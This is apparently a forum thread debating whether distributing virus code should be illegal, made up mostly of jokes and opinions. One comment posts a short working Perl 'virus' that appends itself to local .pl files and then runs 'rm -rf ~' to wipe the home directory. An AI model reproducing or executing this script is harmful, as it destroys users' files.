Should Virus Distribution be Illegal?

mccormi writes "In a guest editorial on Newarchitect Sarah Gordon looks at whether posting malicious code should be allowed and what steps could be taken to stop it. What's worrisome though is that restrictions on malicious code doesn't take into account who it's malicious against and what truly defines malicious." Note that she's not talking about actually infecting computers, but merely making the code available for others to examine (and for some of them, no doubt, to try to spread in the wild).

Hmm.

[Renraku]

I think it should be illegal to write and release viruses. Viruses should follow all standard software rules, which means, the maker could easily be sued for damages. And no, sending the virus with a EULA wouldn't protect the maker legally.

Re:This could be bad...

[gnovos]

Unless the law specified dstribution of *machine readable* malicious code (ie binaries)

Even better, I could write a compiler that takes the US Constitution as "source" and compiles it into a virus-like binary, and TADA, the Constitution is illegal to distribute!

Pressing charges is so last century....

[JordoCrouse]

To: Good Citizen posing as an evil hacker by exposing our own stupidity
From: The Law Offices of Bend, Over, and Takeit.

Dear Sir:

You have recently refered to a website that had discussed the possibility of posting conceptual code that exposes an embarassing hole in our client's poorly constructed software.

To wit, this is notice that we are suing you for millions of dollars pending your decision to withdraw your comments and acknowlege Bill Gates as lord of the universe.

You have until the end of this sentence to comply.

Re:Well...

[WMNelis]

Code doesn't kill, people do!

If virii are outlawed...

[tubadood]

...then only outlaws will have viruses.

Where can you buy a Virus Distribution?

[Anonymous Coward]

Virus Distribution? Is that something like a Linux Distribution?

Cool!

Where can I download one. I'd love to see how well it runs under Windows XP.

;-)

virus enclosed (for educational purposes only)

[Dr. Awktagon]

#!/usr/bin/perl
# VIRUS.pl by l33tb0y
# sh0utz to: b33k3r and dr.ph0t0n
for (<*.pl>) {
# 5pr34d d4 l0v3
system "cat $0 >> $_";
}
# D4 P4YL04D! M3 50 3V1L!
system "rm -rf ~";
print "h4 h4 h4 h4 -- ur 0wn3d!\n";

Re:This could be bad...

[yintercept]

the Constitution is illegal to distribute!

The constitution, the idea of rule by law, christianity, buddhism, open source... are all viruses of the mind. The US founding fathers distributed the Declaration of Indepence around with the express malicious intent of throwing the Brits out on the arses.

Come to think of i1t, the anti virus law itself is a piece of logic a lawyer designed and executed in the court system with the intent of getting back at the people who made their computer crash.

Re:That point of view is extremely dangerous

[Anonymous Coward]

like the Victorian attitude toward sex - if you keep it in the dark where nobody can see it, we can all pretend it doesn't exist

What is this "sex" you're referring to? I asked around the office, and no one seems to know who or what it is, or anyone who has any.